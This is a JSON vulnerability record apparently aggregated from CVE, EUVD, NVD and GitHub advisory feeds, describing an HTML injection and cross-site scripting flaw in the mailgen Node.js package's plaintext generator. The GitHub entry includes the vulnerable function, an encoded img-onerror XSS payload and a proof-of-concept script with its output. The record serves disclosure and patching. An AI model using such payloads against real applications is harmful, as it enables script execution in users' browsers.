{"id":"CVE-2025-62366","revision":null,"records":[{"revision":"3b52a9f53a25413eb58eaf9893103d11","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2025-62366","aliases":[],"title":"Mailgen vulnerable to HTML injection and cross-site scripting via plaintext email generation","description":"mailgen is a Node.js package that generates responsive HTML e-mails for sending transactional mail. Mailgen versions through 2.0.30 contain an HTML injection vulnerability in plaintext emails produced by the generatePlaintext method when user‑generated content is supplied. The function attempts to remove HTML tags, but if tags are provided as encoded HTML entities they are not removed and are later decoded, resulting in active HTML (for example an img tag with an event handler) in the supposed plaintext output. In contexts where the generated plaintext string is subsequently rendered as HTML, this can allow execution of attacker‑controlled JavaScript. Versions 2.0.31 and later contain a fix. No known workarounds exist.","state":0,"publishedAt":"2025-10-14T15:23:47.6+00:00","modifiedAt":"2025-10-14T16:07:42.468+00:00","affected":[{"ecosystem":"Vendor product","name":"mailgen","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"eladnava\",\n                    \"product\": \"mailgen\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 2.0.31\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P","score":2.9,"severity":"LOW"}],"references":["https://github.com/eladnava/mailgen/security/advisories/GHSA-xw6r-chmh-vpmj","https://github.com/eladnava/mailgen/commit/7279a983481d05c51aa451e86146f98aaa42fee9"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2025-62366","license":"CVE Program Terms of Use","key":"cve-program:CVE-2025-62366","identifiers":["CVE-2025-62366"]},"retained":false,"historicalAffected":[]},{"revision":"59fb89f7f016417a8b46c79e6d12b29a","observedAt":"2026-11-11T04:30:10.079+00:00","statement":{"source":"euvd","id":"EUVD-2025-34231","aliases":["CVE-2025-62366","GHSA-xw6r-chmh-vpmj"],"title":"mailgen is a Node.js package that generates responsive HTML e-mails for sending transactional mail. Mailgen versions through 2.0.30 contain an HTML injection vulnerability in plaintext emails produced by the generatePlaintext method when us…","description":"mailgen is a Node.js package that generates responsive HTML e-mails for sending transactional mail. Mailgen versions through 2.0.30 contain an HTML injection vulnerability in plaintext emails produced by the generatePlaintext method when user‑generated content is supplied. The function attempts to remove HTML tags, but if tags are provided as encoded HTML entities they are not removed and are later decoded, resulting in active HTML (for example an img tag with an event handler) in the supposed plaintext output. In contexts where the generated plaintext string is subsequently rendered as HTML, this can allow execution of attacker‑controlled JavaScript. Versions 2.0.31 and later contain a fix. No known workarounds exist.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P","score":2.9,"severity":null}],"references":["https://github.com/eladnava/mailgen/security/advisories/GHSA-xw6r-chmh-vpmj","https://github.com/eladnava/mailgen/commit/7279a983481d05c51aa451e86146f98aaa42fee9"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2025-34231","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Oct 14, 2025, 3:23:47 PM","dateUpdated":"Oct 14, 2025, 4:07:42 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2025-34231","identifiers":["EUVD-2025-34231","CVE-2025-62366","GHSA-xw6r-chmh-vpmj"]},"retained":false,"historicalAffected":[]},{"revision":"cb12702b86f34ac291639e099d319695","observedAt":"2026-10-25T03:17:29.935+00:00","statement":{"source":"nvd","id":"CVE-2025-62366","aliases":[],"title":"mailgen is a Node.js package that generates responsive HTML e-mails for sending transactional mail. Mailgen versions through 2.0.30 contain an HTML injection vulnerability in plaintext emails produced by the generatePlaintext method when us…","description":"mailgen is a Node.js package that generates responsive HTML e-mails for sending transactional mail. Mailgen versions through 2.0.30 contain an HTML injection vulnerability in plaintext emails produced by the generatePlaintext method when user‑generated content is supplied. The function attempts to remove HTML tags, but if tags are provided as encoded HTML entities they are not removed and are later decoded, resulting in active HTML (for example an img tag with an event handler) in the supposed plaintext output. In contexts where the generated plaintext string is subsequently rendered as HTML, this can allow execution of attacker‑controlled JavaScript. Versions 2.0.31 and later contain a fix. No known workarounds exist.","state":0,"publishedAt":"2025-10-14T16:15:42.17+00:00","modifiedAt":"2026-10-08T11:10:00.25+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":2.9,"severity":"LOW"}],"references":["https://github.com/eladnava/mailgen/commit/7279a983481d05c51aa451e86146f98aaa42fee9","https://github.com/eladnava/mailgen/security/advisories/GHSA-xw6r-chmh-vpmj"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-62366","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-79"],"productCriteria":[],"sourceDates":{"published":"2025-10-14T16:15:42.170","lastModified":"2026-10-08T11:10:00.250"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2025-62366","identifiers":["CVE-2025-62366"]},"retained":false,"historicalAffected":[]},{"revision":"f482b74439fa4f22ad1b031c3225c0fd","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-xw6r-chmh-vpmj","aliases":["CVE-2025-62366"],"title":"Mailgen has HTML Injection and XSS Filter Bypass in Plaintext Emails","description":"### Summary\n\nAn HTML injection vulnerability in plaintext emails generated by Mailgen has been discovered. Your project is affected if you use the `Mailgen.generatePlaintext(email)` method and pass in user-generated content. The issue was discovered and reported by Edoardo Ottavianelli (@edoardottt).\n\n### Details\n\nThe following function (inside index.js) is intended to strip all HTML content to produce a plaintext string.\n\n```javascript\n// Plaintext text e-mail generator\nMailgen.prototype.generatePlaintext = function (params) {\n    // Plaintext theme not cached?\n    if (!this.cachedPlaintextTheme) {\n        throw new Error('An error was encountered while loading the plaintext theme.');\n    }\n   \n    // Parse email params and get back an object with data to inject\n    var ejsParams = this.parseParams(params);\n\n    // Render the plaintext theme with ejs, injecting the data accordingly\n    var output = ejs.render(this.cachedPlaintextTheme, ejsParams);\n\n    // Definition of the <br /> tag as a regex pattern\n    var breakTag = /(?:\\<br\\s*\\/?\\>)/g;\n    var breakTagPattern = new RegExp(breakTag);\n\n    // Check the plaintext for html break tag, maintains backwards compatiblity\n    if (breakTagPattern.test(this.cachedPlaintextTheme)) {\n        // Strip all linebreaks from the rendered plaintext\n        output = output.replace(/(?:\\r\\n|\\r|\\n)/g, '');\n\n        // Replace html break tags with linebreaks\n        output = output.replace(breakTag, '\\n');\n\n        // Remove plaintext theme indentation (tabs or spaces in the beginning of each line)\n        output = output.replace(/^(?: |\\t)*/gm, \"\");\n    }\n\n    // Strip all HTML tags from plaintext output\n    output = output.replace(/<.+?>/g, '');\n\n    // Decode HTML entities such as &copy;\n    output = he.decode(output);\n\n    // All done!\n    return output;\n};\n```\nThe process fails because it searches for HTML tags and attempts to strip them from the input. However, if the HTML tags are encoded, they are not removed. These encoded tags are then decoded later and become valid HTML content, which can lead to XSS vulnerabilities.\n\nA valid payload is: `&ltimg src=xyz onerror=alert(1)&gt`.\n\n### PoC\n\n```javascript\nvar Mailgen = require('mailgen');\n\n// Configure mailgen by setting a theme and your product info\nvar mailGenerator = new Mailgen({\n    theme: 'default',\n    product: {\n        // Appears in header & footer of e-mails\n        name: 'Mailgen',\n        link: 'https://mailgen.js/'\n        // Optional product logo\n        // logo: 'https://mailgen.js/img/logo.png'\n    }\n});\n\nvar email = {\n    body: {\n        name: 'John &ltimg src=x onerror=alert(document.body.innerHTML)&gt Appleseed',\n        intro: 'Welcome to Mailgen! We\\'re very excited to have you on board.',\n        action: {\n            instructions: 'To get started with Mailgen, please click here:',\n            button: {\n                color: '#22BC66', // Optional action button color\n                text: 'Confirm your account',\n                link: 'secret-link'\n            }\n        },\n        outro: 'Need help, or have questions? Just reply to this email, we\\'d love to help.'\n    }\n};\n\nvar emailText = mailGenerator.generatePlaintext(email);\nrequire('fs').writeFileSync('emailText.html', emailText, 'utf8');\n```\n\n**Resulting output file (emailText.html)**:\n\n```HTML\nHi John <img src=x onerror=alert(document.body.innerHTML)> Appleseed,\n\nWelcome to Mailgen! We're very excited to have you on board.        \n\nTo get started with Mailgen, please click here:        \nsecret-link            \n\nNeed help, or have questions? Just reply to this email, we'd love to help.        \n\nYours truly,  \nMailgen\n\n© 2025 Mailgen. All rights reserved.\n```\n\n### Impact\n\nDepending on the context/environment where the plaintext message is used, if HTML is rendered and executed can result in arbitrary code execution in the browser of the victim (potentially stealing secrets or sensitive information contained in the message).\n\n### Credits\n\nEdoardo Ottavianelli (@edoardottt)","state":0,"publishedAt":"2025-10-14T19:49:56+00:00","modifiedAt":"2025-10-14T20:42:34.36608+00:00","affected":[{"ecosystem":"npm","name":"mailgen","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.0.31"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"LOW"}],"references":["https://github.com/eladnava/mailgen/security/advisories/GHSA-xw6r-chmh-vpmj","https://nvd.nist.gov/vuln/detail/CVE-2025-62366","https://github.com/eladnava/mailgen/commit/7279a983481d05c51aa451e86146f98aaa42fee9","https://github.com/eladnava/mailgen"],"sourceUrl":"https://github.com/advisories/GHSA-xw6r-chmh-vpmj","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-xw6r-chmh-vpmj","identifiers":["GHSA-xw6r-chmh-vpmj","CVE-2025-62366"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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